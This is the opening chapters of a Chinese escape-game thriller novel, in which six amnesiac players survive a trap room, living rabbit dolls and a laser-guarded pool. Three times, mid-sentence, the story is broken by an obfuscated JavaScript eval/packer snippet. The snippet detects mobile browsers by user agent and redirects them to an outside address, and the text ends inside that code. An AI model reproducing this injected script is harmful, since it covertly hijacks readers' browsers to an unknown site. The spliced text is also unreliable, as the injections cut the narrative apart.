《还要读档几次才能通关!》 1. 如此开局 铃声渐远,意识回笼。 头顶悬着的白炽灯亮得刺眼,洛伊抬手遮在额前,皱着眉撑起身子。 咔—— 门边的墙壁内传来机械嗡鸣声,一块显示屏缓缓降下。屏幕亮起的瞬间,猩红的文字凝血般浮现: 【10:00】 请在倒计时结束前离开房间。 违规者,死! “死”字红得触目惊心,仿佛下一秒就要从字里渗出鲜血来。 “真准时呢!” 广播声陡然响起,机器女音清脆却冰冷:“六位玩家已全部苏醒。游戏——现在开始。” 话音落下的刹那,倒计时数字开始疯狂地跳动。 什么情况! 洛伊倏地站起身,背后冷汗涔涔。 尽管对眼前的一切毫无头绪,但“死”这个字像针一样扎进了她的神经里。 六位参赛者……其他人在哪? 洛伊强迫自己冷静下来,目光扫向房间唯一的出口——那扇厚重的铁门。 门上嵌着一长约20厘米,宽约10厘米的探视窗。透过玻璃,能隐约看见外面是个圆形大厅,四周环绕着带编号的铁门。正对的门上刻着编号“2”,稍加思索,洛伊判断自己在5号房。 “有人吗?”颤抖的女声从6号房传来,带着哭腔。 “都走到门这里来。”2号门后是个嗓音沙哑的大叔,他竭力维持着镇定。 须臾,每扇探视窗后都出现了一双眼睛。六道视线在空中交汇,无声地传递着迷茫与恐慌。 “这门可真他娘的结实!”3号房间的眯缝眼使劲撞了两下门,发出砰砰的巨响,门却纹丝不动。 “别乱动!”4号门后的眼睛男急忙制止,“门上有个输入密码的装置——这是个密码门,似乎只能输入一个数字。” 话音刚落,尖锐刺耳的警报声猛然从3号房炸响。紧接着,传来了液体喷溅的“嗤嗤”声和眯缝眼变了调的惨叫! “啊!这是什么东西?!烫!好烫!!” “你做什么了!”大叔对3号低呵一声。 “我…我就试了个数字!它显示密码错误……这墙上喷出酸水了!救我!”眯缝眼的声音因剧痛而扭曲,众人甚至能听到他慌乱拍打身体和衣物腐蚀的细微声响。 “蠢货!”眼镜男的声音带着怒意,“输错密码会触发惩罚机制!不想死就赶紧找线索!” 咔嚓、咔嚓……齿轮咬合的声音隐约传来。 “墙壁!”6号女生尖叫起来,声音里满是绝望,“墙壁在动!它过来了!” 链条活动声愈发密集,洛伊猛地回头,只见身后的墙壁正以肉眼可见的速度持续压近,饕餮般吞噬着空间。 “艹!这游戏是动真格的!”大叔尝试抵住前进的墙壁,他咬紧后槽牙,扎着马步死死扣住地板,身体却连连后退。 地板在震颤,空气被压缩,呼吸开始变得困难。哽咽的啜泣声和压低的谩骂声在狭小的空间里回荡,洛伊的心跳重如擂鼓,冷汗从鬓角滑落。 “慌什么。” 1号门后,不疾不徐地传来一道慢条斯理的声音:“他们不会开局就玩死我们的。” “装什么呢!”丁飞在隔壁嘶吼,“疼的不是你是吧!哎哟……” 倒计时的数字持续跳动着,推进的墙壁吞噬了房内的大部分空间,转身都变得艰难了起来。 洛伊强迫自己把注意力从逼近的墙壁和隔壁的惨叫中收回来,她在房内快速搜寻着,床底、墙角、天花板……所有角落都空空如也,没有任何线索。当她再次将视线投向探视窗时,眼中骤然闪过一丝光芒。 “门上有图案!看看你们对面的门!” 这话像是一道光,给他们这群无头苍蝇指明了方向。众人立即扑回探视窗,急切地看向其他房间的门板。 “有图案!但是……只有1号门上有。”眼镜哥犹豫着开口。 “1号?”眯缝眼忍着痛,狐疑地又扫视了一圈,“我…我这只看见6号门上有。” 洛伊怔了怔。她看见的,分明是2号门。 这是怎么回事?这种时候了,大家并没有撒谎的必要。难道这间屋子有什么神奇的机关,能“篡改”人所看见的事物? 一时没有头绪,众人只能纷纷报出了自己看到的图案所在房间号。 1和4,2和5,3和6,房间微妙地两两成组…… 洛伊瞬间想通了关键:“是角度!我们只能看见对面门上的图案,快,数清楚图案的数量,那可能就是密码!” “5号门上……7个?不,等等,边缘有点模糊……是8个吗?”2号大叔的声音带着一丝犹豫。 墙壁又逼近了一大截,冰冷的金属墙壁已经抵上了洛伊的后背,她似乎能听见自己的肋骨正在被压缩,发出咔咔的响声。 不能再耗了!她咬咬牙,手指悬在密码锁上。7还是8?赌一把! 她按下了“8”。 门锁装置轻响,却没有立刻弹开。密码装置上跳出一行小字:【请再次确认输入。】 难道输错了? 洛伊的心沉了下去,她几乎是吼了出来:“2号!你确定是8个吗?” “我……光线在变,阴影在动……我不能百分百确定!可能是8个!”何成功的声音闷闷地透着焦急,墙壁挤压让他喘息困难。 “去他的!就是8个!”洛伊不再犹豫,再次按下“8”。 这一次,门应声而开。她几乎是跌出去的,踉跄地扑入大厅。几乎同时,身后传来墙壁彻底压拢的闷响,以及……某种硬物被碾碎的、令人牙酸的“咯吱”声,听得人汗毛直竖。 “快!我这边,1号门上有五个!确认是五个!” “3号门……七个!” “4号门三个!” 接二连三的开门声传来,众人皆是脸色苍白、大汗淋漓,狼狈地逃离了那钢筋水泥的深渊巨口。 最后出来的是3号,那个体形堪比正方体的眯缝眼男人。他是滚着出来的,右臂和肩膀处的衣物被腐蚀出大洞,露出的皮肤一片红肿溃烂,渗着组织液,疼得他龇牙咧嘴。 “咳咳……小爷差点……差点就成肉饼了……”他躺在地上喘着粗气。 “光栅。”眼镜男推了推眼镜,绕着大厅走了一圈,切换不同角度观察门板,“利用视觉差和光影隐藏信息……高明。不仅考验观察,更考验信任。” “信任?”眯缝眼啐了一口,带着血丝,“老子信了你的邪才去试密码!你他妈怎么不早说会有机关?” “我让你试了?”眼镜男也来了火气,拔高了声音,“那是你自己手欠!” “你!”眯缝眼作势要起身。 “都少说两句!”大叔喝住了他们,“现在不是内讧的时候!” 6号房女生瘫坐在地,眼神发直,发丝微乱,脸上挂着未干的泪痕。 “还好吗。”洛伊走过去,伸出手。 “谢谢……”女生冲洛伊点点头,借力站起身,声音仍有些发抖。 休息片刻后,大叔拍拍手示意大家聚到一起:“不管现在是什么情况,先都自我介绍一下吧,起码互相有个称呼。” “我叫何成功,除了名字,我什么都不记得了。”何成功身材壮实,身上有着长期训练的痕迹,脸上几道狰狞的疤痕格外显眼。 感受到众人探究的目光,他爽朗地笑道:“这些伤的来历,恐怕各位没有故事可以听。” “小爷姓丁名飞……嘶!真他妈倒霉!” 眯缝眼扯到了伤口,倒吸一口凉气。 “我叫郝梦,只能想起这么多……” 纤细的女生小声道。 “洛伊。” 她摇摇头,表示自己也没有记忆。 “我是谢名扬。” 眼镜男摊开手耸耸肩。 众人说完,齐齐将目光投向还未介绍自己的1号。他正蹲在自己出来的那扇门边,指尖轻轻摩挲着门上的图案,但似乎并不愿意和大家分享他的发现。 “喂!”丁飞喊了一声。 他这才抬头,露出一个浅淡的笑:“我不记得我的名字,叫我1号就行。” 气氛微妙地凝滞了一瞬,众人沉默着交换了眼神。 见1号对门上的图案研究得认真,洛伊走到他身边,也看向那图案:“看出什么来了吗?” 图案是一双眼睛,一只睁着流出眼泪,一只闭着尽显笑意,好似恶魔与天使,又似天堂与地狱。 “没什么特别的发现,只是感觉……很有趣。”1号勾着唇角望向洛伊,眸子黑黑亮亮的,“你认识这个图案吗?” 洛伊摇摇头。虽有些熟悉,但她说不出所以然来。 “是吗。”1号眼中闪过一丝难以察觉的失望。 “那是什么?”谢名扬指向大厅中央。一只棕色皮质手提箱,不知道何时出现在了那里。 丁飞这次没敢贸然上前,只是警惕地盯着。何成功走过去,小心地掀开箱盖。里面躺着一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166720|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老式遥控器,下方压着一张折叠的纸条。 他抽出纸条,展开,沉声念道: 【M先生的留言】 1.遥控器能帮助你们找回记忆。 2.按下红色按钮可以与M先生做个交易。 3.记忆完整时,出口才会显现。 4.你们之中存在“修正者”。 5.有一条留言是错误的。 “‘修正者’?”郝梦瑟缩了一下,“什么意思?修正什么?” “我们的失忆就是这个该死的M搞的鬼!”何成功捏紧纸条,指关节发白,“这个藏头露尾的杂碎究竟想干什么?” “第五条留言很奇怪。”谢名扬眉头紧锁,推了推眼镜,镜片后掠过一丝疑虑,“假如第五条内容属实,那么前四条里就必然有且仅有一条是假的;可如果第五条本身就是假的,情况就更复杂了——其余四条未必全部为真,因为‘有一条为假’的否定,除了‘全部为真’,还可能是‘不止一条为假’。” “他们的目的似乎并不是让我们判断留言的真假,更像是——在筛选什么?” “修正者……在我们之中?”洛伊缓缓重复,审视的目光从每个人脸上掠过。 “够了!别在这瞎猜了!”丁飞烦躁地指着遥控器,“这玩意儿怎么用?不是说能找回记忆吗?按哪个?” 遥控器上,除了一个醒目的红色按钮,下面竖排着五个一模一样的白色按钮。 “上面只有五个白色按钮,而我们有六个人。”洛伊指出这个明显的问题。 “试试就知道了。”丁飞伸手想去拿遥控器。 “等等!”谢名扬猛地伸手按住了他的手腕,“谁知道按下去是找回记忆还是直接要命?刚才的教训还不够吗?” “放开我!”丁飞使劲挣扎,伤口被牵扯,疼得他脸色更白。 两人顿时僵持不下,气氛剑拔弩张。 争执间,遥控器脱手掉到了地上。 嗡—— 尖锐的电流嗡鸣声瞬间钻进了每个人的大脑! “啊——”郝梦抱头蹲下。 “呃!”何成功闷哼一声。 丁飞和谢名扬也僵在原地,面目扭曲。 洛伊感觉眼前猛地一黑,无数破碎的、高速旋转的画面在强行侵入她的脑海! 刺眼的无影灯……冰冷的金属器械反光……一双隔着玻璃观察的、深邃的眼睛…… 然后是鲜红,大片大片的鲜红,染红了眼前的一切…… 谁在惨叫?是自己吗?不,是……很多很多人……跑!快跑! “嗬!”洛伊猛地从思绪中抽离,跌坐在地,心脏狂跳,冷汗瞬间浸透衣衫。她捂住胸口,那里传来了闷闷的钝痛。 其他人状态更糟。 丁飞蜷缩着,使劲地抓挠着自己的后背;郝梦哭得几乎背过气去,嘴里呢喃着“不要…不要过来!”;何成功靠墙站着,艰难地喘着粗气,拳头捏得咯咯响;谢名扬则脸色惨白,双目失神,喃喃自语:“我做到了……” 1号看起来情况稍好一些,只是闭着眼垂着头。 电流声滋滋响起。 “恭喜各位,品尝到了‘记忆’的滋味。”机械女音再次出现,带着一种令人毛骨悚然的愉悦感,“看来大家都对自己的过去,有了‘初步’的认识呢。” “这是M先生为你们精心准备的‘记忆之旅’,请按下按钮选择目的地。温馨提示:这里的一切都是‘真实的’,请「务必」保证自身安全。” “游戏继续,祝各位好运!” “刚才那是什么?”郝梦抬起头,脸上泪痕交错,声音嘶哑,“那些画面是真的吗?是我……我经历过的事?” 没有人能回答她。每个人都在记忆碎片中挣扎,那些片段带着强烈的的情绪和感官冲击,真实得令人窒息。 “是不是真的,现在不重要。”何成功眼神坚定,“重要的是,那个声音说了,游戏继续。如果我们还想活着出去,搞清楚自己是谁,就不能在这里被过去击垮。” 他捡起掉在地上的遥控器,仔细检查确认没有摔坏,目光沉沉地扫过状态各异的众人:“都给我打起精神来。” 空气中弥漫着无力与被迫抉择的沉重。 “按顺序来,”何成功握紧了遥控器,“我们没得选。” 他深吸一口气,按下了第一个白色按钮。 轰隆—— 众人只觉得身体一轻,强烈的失重感瞬间袭来——脚下的地板消失了! 2. 梦游险境 耳边的风呼啸而过,众人跌落在了一片开阔的草地上,痛呼声此起彼伏。 “还好吗,能站起来吗?” 洛伊眼前出现了一只骨节分明的手,无名指处有颗小小的痣。 是1号,他逆光站在洛伊身前。 “谢谢,不用。”洛伊礼貌地道谢,避开了他的手。她活动了几下摔疼的关节,拍掉身上的灰与草叶,利落地站起身。 她不喜欢与1号接触。那双眼睛太深了,像看不见底的潭水,让人无从分辨底下究竟藏着什么。在明确是敌是友之前,洛伊并不打算与这样的人有过多的牵扯。 1号收回手,脸上笑意淡了些,转身拉起了摔得七荤八素的谢名扬。 洛伊环顾四周。这是一处开阔的庄园。草坪翠绿绵延,花圃里花卉繁盛,罗马式的喷泉将水雾的清凉送至众人鼻尖。不远处坐落着一幢华丽的别墅,神秘而充满吸引力,像极了森林中的糖果屋。 “哎呦……这是掉到哪个土豪后花园里来了。”丁飞哼唧着在地上滚了几圈,发现没人管他,只好一骨碌自己起来了,“口味儿还挺独特。”他踢了踢脚边的兔子玩偶。 这样的兔子玩偶几乎遍布整个庄园,有的倚着树,有的坐在长椅上,有的甚至保持着修剪草坪、给花浇水的姿势。它们一动不动地定格在那里,生机勃勃却死气沉沉,仿佛整座庄园的“居民”都在某一刻被集体定格,透着一种荒诞而诡异的童话氛围。 “都小心点。”何成功走在最前,“进去看看。” 门没锁,众人顺利地进入了别墅。屋内很安静,装潢如外部看到的一样华丽。厨房里储备着一些压缩饼干、罐头和矿泉水,虽是索然无味的食物,却足以让众人填饱肚子。 “这些兔子到底是做什么的?观赏?恐怕有点太多了吧。”谢名扬顺手拿起一只兔子玩偶,仔细端详。 很普通的兔子玩偶,红眼睛,三瓣嘴,毛茸茸的,是任何一家玩具店都会出售的那种。兔子微笑着,眼睛红红的没有焦距。虽是死物,但被无数双这样的玻璃眼睛“注视”着,还是让人不由得后背发凉。 “《爱丽丝梦游仙境》看过没?”填饱了肚子,丁飞心情肉眼可见的变好了,他眉飞色舞地描绘着,“这兔子肯定要指引着我们找到一个树洞,然后……” “然后你卡在了洞口。”洛伊交叉着双手环抱于胸前,开了个小玩笑。 丁飞配合地做出被卡住后挣扎的样子,表情夸张,张牙舞爪,惹得众人哈哈大笑,紧张的气氛缓解了不少。 “好了,回到正题。”休整片刻,何成功敛了笑容,沉声提醒众人,“都小心些,这局游戏的‘威胁’还没露头!” 话音未落,“咔哒”一声,周遭一下子暗了下来,只剩餐桌上的一点烛火微弱照明。 窸窸窣窣的声音,从四面八方传来,密集得让人牙酸。不是老鼠,也不是昆虫,更像是……布料摩擦的声音。 “啊!!!”谢名扬惨叫一声,“兔子……兔子咬我!” 他把玩的玩偶活了过来,双眼冒出诡异的红光,一口咬在了他的手腕上,鲜血如注。 一双双血红色的眼睛接连亮起,如同地狱的萤火。那些原本静止的兔子玩偶,此刻全都歪歪扭扭地站了起来,咯吱咯吱地磨着牙,缓缓向他们聚拢,将餐桌旁的众人包围。 何成功反应极快,一把扯掉咬在谢名扬手腕上的兔子,狠狠地扔了出去,保龄球般砸倒一片,堪堪缓解了来自正面的威胁。 “按住伤口!”他随手撕下衣角扔给谢名扬,同时迅速抄起椅子,“其他人,背靠背,围起来!” 众人仓促间围成一圈,抄起手边一切能用的东西——椅子、烛台、甚至罐头作为武器。 可这些没有生命的兔子不怕痛也不会累,即使被打倒了也能很快爬起,潮水般一波波地涌来。几轮防御下来,兔子们的攻势不减,大家身上却都挂了彩,连呼吸都重了起来。 “这只没动!”郝梦指向烛台边,那里坐着一只兔子玩偶,它的眼睛黯淡无光,显然并不具有攻击性。 这是个奇怪的现象,洛伊有一个猜想。 她一边用椅子腿扫开扑来的兔子,一边冒险向烛台靠近,一把钳住那只玩偶的头,用力掷了出去。玩偶在黑暗里滚了几圈,眼睛倏得放出红光,摇摆着站起来,加入了进攻的行列。 洛伊挑挑眉,反手掂起烛台,往身前挥去。烛光所及处,兔子眼睛都黯淡了下去;光一离开,兔子们又眼冒红光开始攻击。 是光! “有光的情况下它们不会动,想办法制造光源!” 生死关头,丁飞一向行动迅速。他扯下桌布一角搓成绳,浸入吃剩的罐头油里,制成一个简易烛台,凑到主烛台处引燃。跳动的火焰驱散了小片黑暗,被照到的兔子眼睛里红光熄灭,软倒在地。 “接着!”丁飞把自制烛台塞给受伤的谢名扬,扭头冲其他人喊道,“别愣着,快跟小爷一起做啊!” 谢名扬接过烛台,怔了怔。 何成功示意众人他来防御,其他人迅速上手。很快,几个简易烛台亮起,总算撑开了餐厅一角的安全区。 兔子们被阻隔在光圈之外,密密麻麻的红眼在黑暗中闪烁,咯吱咯吱的磨牙声不绝于耳。 将最后一个失活的玩偶踢出光圈后,丁飞一屁股坐到了地上:“哎呀累死小爷了,好久没这么大运动量了……” 感觉身上有些刺痛,他低头一看,脸都黑了——哪还有什么好肉!本来胳膊就受了伤,这下腿上也多了好几道伤口,正在往外渗着血。 “死兔子,拿你小爷当宵夜啊,下口这么狠!”丁飞冲着光圈外啐了一口。 “那挺腻的。”洛伊评价道。 丁飞冲洛伊龇了龇牙。 大家都不同程度地受了些伤,好在暂时安全。 “罐头油不多,这些烛台撑不了多久,最多一小时。”谢名扬粗略估计着,昏暗的烛光倒映在他的镜片上,“得赶紧找到破局的方法。” 咔哒—— 又是一声轻响,光明重新降临。 那些狰狞的兔子玩偶,此刻又变回了无害的装饰品,东倒西歪地散落在地。何成功松了一口气:“给了我们点喘息的时间。” 他迅速吹灭大部分蜡烛,仅保留三盏以防万一。 “黑暗持续了大概……一指蜡烛的时间。”洛伊在主烛台剩余蜡烛上,用指甲均匀划下一指宽的标记,“我猜测,光明和黑暗会交替,但保险起见还是要测试一个周期。” “这段时间内我们不要离开太远,就在这附近找找线索。” 洛伊猜想的不错,一指时间后,黑暗再度袭来。好在有了上次的经验,众人这次应对起兔子大军有条不紊。 光明笼罩。 “大家分头找找物资和线索。注意时间,随时准备撤回这里。”何成功指挥道。 “你们找室内,我去室外再看看。”1号难得主动提出建议,“路途遥远,我想拿走一盏蜡烛以防万一。” 当黑暗成为绝对的危险,光明便是最重要的物资。 众人不免对1号索要烛台的行为有些犹豫。 1号平静地解释道:“我需要探索更大的区域。一盏蜡烛,换一个可能的机会。” 短暂的沉默后,何成功权衡利弊,点了点头:“速去速回,保持警惕。”他将一盏蜡烛递给1号。 1号接过,没有多说,快步离开了别墅。 “我们也行动吧。”洛伊看着粗糙的自制蜡烛,心下隐隐不安。这若是场持久战,光凭他们现在手上拥有的物资,可能还没摸清游戏规则就葬身兔口。 几人稍作安排。谢名扬负责搜寻一楼,洛伊去往三楼,何成功则守在二楼,随时准备接应上下两层。丁飞略一思索,选择紧紧跟在何成功身后;郝梦咬咬牙,快步跟上了洛伊。 拾级而上,抵达三层时,视野骤然收窄。走廊狭窄逼仄,两侧密密麻麻排开紧闭的门。微弱的光线从尽头一扇小小的窗户里照进来,大半段走廊仍蒙在厚重的阴影里。 洛伊伸手推了推最近的两扇门,推不动,显然都上了锁。 窗外突然响起一阵树叶摩擦的沙沙声,阴冷的风掠过走廊,将两人的发丝卷起。寂静里,随即传来一声极轻的“吱呀”。 有一扇门,缓缓向内敞开了,暖黄的灯光隐隐从门缝里透出来。 恐怖片标准配置,耳边似乎已经响起了经典BGM。洛伊看看害怕得在楼梯口不敢挪动一步的郝梦,又看看黑漆漆的走廊,叹了口气,在墙上摸索一番。 啪。 走廊里灯亮了。 洛伊一直好奇,为什么恐怖片里的主角会给怪物提供在黑暗中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166721|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单挑的环境,明明把灯打开就行了呀。 有光的情况下,优势在我。 她挑眉望向郝梦:“还怕吗?” 郝梦不好意思地笑笑,挪着步子靠过去。 洛伊小心地靠近那扇虚掩的门,用脚轻轻拨开,里面是一间书房。书柜里满满当当地塞着书籍,办公桌有些凌乱,堆放着不少文件。一只兔子玩偶端坐在桌子中央,底下压着一本摊开的笔记本。 “供货台账……”洛伊移开玩偶,将笔记本翻着看了看。记录很模糊,货品名称多用代号,收货方多是“XX辅导”、“XX教育”之类的机构。看上去像是普通的办公用品交易,但总觉得哪里不对。 她们在书桌抽屉里找到了两支老旧但还能用的手电筒,这算是个好消息。 刚退出书房,对面房间的门不知何时也开了。洛伊探身进去,里面是个杂物间,堆着蒙尘的纸箱和闲置家具。她抬起头,天花板上嵌着一扇不大的活板门,那是阁楼的入口。 就在这时,楼下传来了丁飞的呼喊声:“哎,快过来!这游泳池里有只奇怪的兔子!” 洛伊和郝梦对视一眼,快步向二楼赶去。 推开厚重的玻璃门,眼前出现了一个无边际泳池,池水蔚蓝清澈。先到的三人正围在池边,脸色凝重,齐齐低头望着水里。洛伊上前一步,顺着他们的视线看去,只见池底静静地躺着一只兔子玩偶,它的左眼处缝着一枚红色的纽扣,在波光粼粼的水下,显得格外刺眼。 他们此前从未见过这种长相的玩偶。 难道这是新线索? “捞上来看看。”何成功说着脱掉外套就准备下水。 “等等!”洛伊拦住了他。 她死死盯着那平静的池水,心脏莫名地狂跳起来,一种强烈的、毫无来由的危机感瞬间击中了她。 “不对劲。” 洛伊目光快速扫过泳池。池壁光滑,池水清澈见底,除了那只兔子,空无一物。 太干净了,干净得像一个陷阱。她脑海里突兀地闪过一些破碎的画面——交错的光网、被瞬间切割的物体、四溅的碎片…… 环顾四周,她从躺椅上拿起一个抱枕扔进池中。在众人疑惑的目光中,抱枕缓缓下沉。 一秒,两秒,三秒……无事发生。 “哼,大惊小怪的……”丁飞嗤笑一声。 话音未落,泳池底部和四壁陡然亮起无数细密的红点!下一刻,数十道红色激光交织成一张网,瞬间覆盖了抱枕所在的区域! 嗤——! 一声轻微的、如同热刀切黄油般的声音传入众人耳中,抱枕在激光网中瞬间解体,化为无数指甲盖大小的碎片,在池水中沉浮。池水剧烈翻腾,咕嘟咕嘟冒出大量气泡,水花溅到众人身上,浇了个透心凉。 “……激光阵!”何成功的额头渗出冷汗,如果不是洛伊拦住他,现在水底的那些碎片……他深深地看了洛伊一眼,目光复杂。 丁飞的脸白了又青,猛地转头盯着洛伊,眼神里充满了怀疑:“你……你怎么知道水里有机关?!” “我……”洛伊张了张嘴,最终只能挤出两个字,“直觉。” 这显然无法说服任何人。丁飞嘴角扯了扯,想说什么,却被何成功抬手制止。他指着池水,沉声道:“现在不是追究这个的时候,当务之急是破解眼前的机关。” “激光启动有间隔。”郝梦一向心细,她注意到抱枕从进入水中,到被切削之间有一段明显的时延,“如果能在激光不启动期间下水,应该能拿到兔子玩偶吧。” 这个想法让众人眼睛一亮。 “间隔有多长?激光持续多久?下一次启动是什么时候?”谢名扬抛出一连串的问题,“我们需要精确计时。误差过大,下去的人就……” 他没说完,但意思所有人都懂。 “谁有手表?或者任何能计时的东西?”何成功问道。 大家面面相觑,不约而同地摇摇头。直到此刻他们才猛然意识到,从进入庄园到现在,竟从未见过任何与钟表有关的东西。时间,在这个空间里似乎被刻意隐藏了。 能计时的工具…… 洛伊想到了有刻度的蜡烛,随即又否定了自己的想法——蜡烛燃烧测时间误差太大了。 那还有什么既容易实现,精度又相对较高的计时手段吗? 3. 池中取兔 谢名扬一拍脑门,上手去解丁飞运动裤上的腰带。 “诶…诶诶!你干什么呢,扒小爷裤腰带干什么!”丁飞捂着裤子一路后退,满脸惊恐,“你觊觎小爷美色也要挑时间吧!” “借用,有正事!”谢名扬眼神诚恳而急迫,丁飞嘟囔了两句,不情不愿地放了手。 好在他腰腹部的脂肪给力,裤子稳稳当当地卡住了,倒显得原来的裤腰带是多此一举。 谢名扬在池边找了块儿光滑的石头,用腰带一头系紧,另一头攥在手里,捋直,让石头自然下垂。他轻轻拨动石头,一个简易单摆做好了。只要摆长和释放角度合适,就能根据石头经过最低点的次数计时。 经过几次调试,谢名扬长出一口气:“行了。现在石头每经一次最低点,大约就是一秒的时间,我们测试一下激光间隔吧。” “兄弟,你这眼镜没白戴啊。”丁飞啧啧称奇。 “准备计时。”洛伊拿起另一个抱枕。 在谢名扬点头的瞬间,抱枕入水,单摆同时启动,众人目不转睛地开始计数。 1…2…3… … 19…20—— 耀眼的激光闪过,抱枕四分五裂。 “从入水到触发,大概是二十秒。”谢名扬推推眼镜,皱紧眉头,“这时间……” “二十秒?”丁飞脸垮了下来,摆摆手道,“这时间够干什么?小爷我肯定不行。” 众人陷入了沉默。确实,二十秒时间太短了,下水游过去都够呛,更别说还要往返了。希望似乎刚刚燃起,又被冰冷的现实浇灭。 洛伊盯着泛起波澜、气泡升腾的泳池,心中泛起一阵异样。 她注意到,池中漂散着枕头的残渣,不平静的水流裹挟着这些碎片横冲乱撞着,却似乎总是避开了一个区域——正是兔子玩偶附近的区域,那一块水域格外平静。 池底似乎有什么东西,看不见,却能阻挡水流的冲击。 难道说…… 洛伊心下一动,快步走到池边,俯身趴下,深吸一口气,猛地将脸埋入了水中! “洛伊!你在干什么!”郝梦失声惊叫,吓得退后了两步。 所有人都愣住了,不明白洛伊为什么做出这种危险的举动。 “危险!快上来!”何成功最先反应过来,一个箭步冲过去,就要把她从水中拽出来。 洛伊却抬手示意别动,继续在水中睁大眼睛。水下的世界模糊而扭曲,光怪陆离。她努力聚焦视线,透过已不再清澈的池水,看向兔子玩偶附近那片看似空无一物的池底。 有了! 她猛地抬头出水,几秒后,水中激光阵再次启动。 “怎么回事?”何成功质问道。 洛伊擦了擦脸上的水,将湿了的碎发别至耳后:“水下有东西。” “什么东西?”何成功继续追问。 “一个按钮。”洛伊指向兔子玩偶左侧的空池底,“就在那里,有一个黑色的按钮。” 众人望去,却只能看见一小片白色的反光。 “哪有什么按钮?”丁飞眯着眼睛左左右右仔细看了一圈,“你魔怔了吗?一会儿不要命钻到水里,一会儿指着空地说有按钮。” 何成功觉得洛伊不是随意扯谎的人,他学着洛伊的样子憋气俯身入水查看,片刻后出水,冲大家点了点头。 兔子玩偶左边的池底,真的有着一个醒目的黑色按钮。 “还真有?”丁飞一脸震惊。 “应该是被透明容器罩住了,里面有空气,所以岸上看不见。”谢名扬立刻反应过来,“光的折射,初中物理。” “复习复习吧。”洛伊拍拍丁飞,“不然你会觉得生活处处是魔法。” 丁飞瞪了她一眼,“嘁”了一声。 “不出意外,那个按钮能够关掉激光阵,大家有水性好的吗?”洛伊看向众人。 希望重新燃起,但随之而来的是更大的难题:如何在二十秒内,下水掀开那个沉重的罩子并按下按钮? 众人面面相觑,似乎都不想冒这个险。 谁都知道这意味着什么。 一是时间太短,且视线受阻,操作难度极大,即使顺利到达按钮处,也可能无法顺利打开玻璃罩按下按钮。二是目前只是猜测按钮与激光阵有关,若真能关掉还好,关不掉的话……必然和枕头一样化为池中的碎渣。 见众人沉默着,洛伊耸耸肩:“我游得一般,祝我好运吧。” 她能理解大家心存顾虑,但如今的形势,必须得有人铤而走险下水去试试。 最重要的是,她有预感按钮就是解谜的关键,这种感觉无比强烈,她也愿意相信自己的感觉。 “我会尽量精确地帮你计时,每五秒给你报时一次。”谢名扬握紧单摆。 “你……你一定要小心。”郝梦不敢看,说完就远远地躲到了躺椅后面,捂住了耳朵。 何成功和丁飞没有说话,只是紧紧抿着唇,目光沉重地注视着洛伊的举动。 洛伊不再犹豫,脱掉碍事的外套,活动活动手脚,将马尾紧了紧,做了几次深呼吸,然后纵身跃入水中。 水下的世界很安静,隔绝了一切喧嚣,她只能听见自己沉重的心跳和血液流动的嗡鸣声。光线迅速变暗,视线开始模糊。她奋力下潜,按钮漆黑如墨,指引着她潜行的方向。 “5秒!” 越往下潜视线越模糊,洛伊努力辨别着按钮的方向,直至指尖碰到了一面光滑的屏障。 “10秒了!现在浮上来还来得及!” 她伸手摸到了玻璃罩的边缘,试着抬了抬,罩子纹丝不动。水的压强像一只无形的大手,将它死死按在那里。 “15秒!” “快上来!要来不及了!” 洛伊隐约听见郝梦在低声啜泣。 水开始震动,那是激光装置充能的前兆!死亡的阴影骤然压近! 洛伊心头一紧。她咬紧牙,屏住气,将指甲狠狠抠进罩子边缘的缝隙,用力向上扳。十指连心,指尖传来撕裂的剧痛,罩子终于松动了!水流涌入缝隙,她用力一掀。 在激光装置启动千钧一发之际,她伸手按下了那个黑色的按钮! 瞬间,整个泳池轰然作响。一个巨大的漩涡以按钮为中心迅速形成,强大向心力撕扯着水中的一切! 洛伊猝不及防,被漩涡卷得失去平衡,身体不受控制地旋转下沉,狠狠撞向池壁,痛得她眼前发黑。 “洛伊!抓住!”何成功趴在池边,伸手想拉她,可距离太远。 “咳咳!”洛伊呛了口水,拼命挣扎,想要抓住什么,但光滑的池壁毫无借力之处。 “坚持住!”丁飞不知从哪里找来一根长长的装饰藤蔓,甩入水中,“抓住这个!” 洛伊在翻滚的水流中用尽最后的力气伸出手,死死抓住了藤蔓末端。 “拉!”何成功和丁飞一起发力,终于将她从湍急的涡流中拖了上来。 洛伊趴在池边,剧烈咳嗽,手臂上满是撞击导致的淤青,指尖的鲜血在水渍里晕开一片。 不多时,漩涡渐渐平息,那只纽扣眼兔子,渐渐浮上了水面。 “成…成功了吗?”郝梦颤声问。 “激光好像停了……”谢名扬小心地观察着,他试着扔了块小石头进去。石头沉底,安然无恙。 “成功了!”谢名扬小跑着到池边,捞起了纽扣眼兔子。 “你的手……”郝梦看着洛伊血肉模糊的指尖和手臂上的伤,眼泪又出来了。 “没大事。”洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 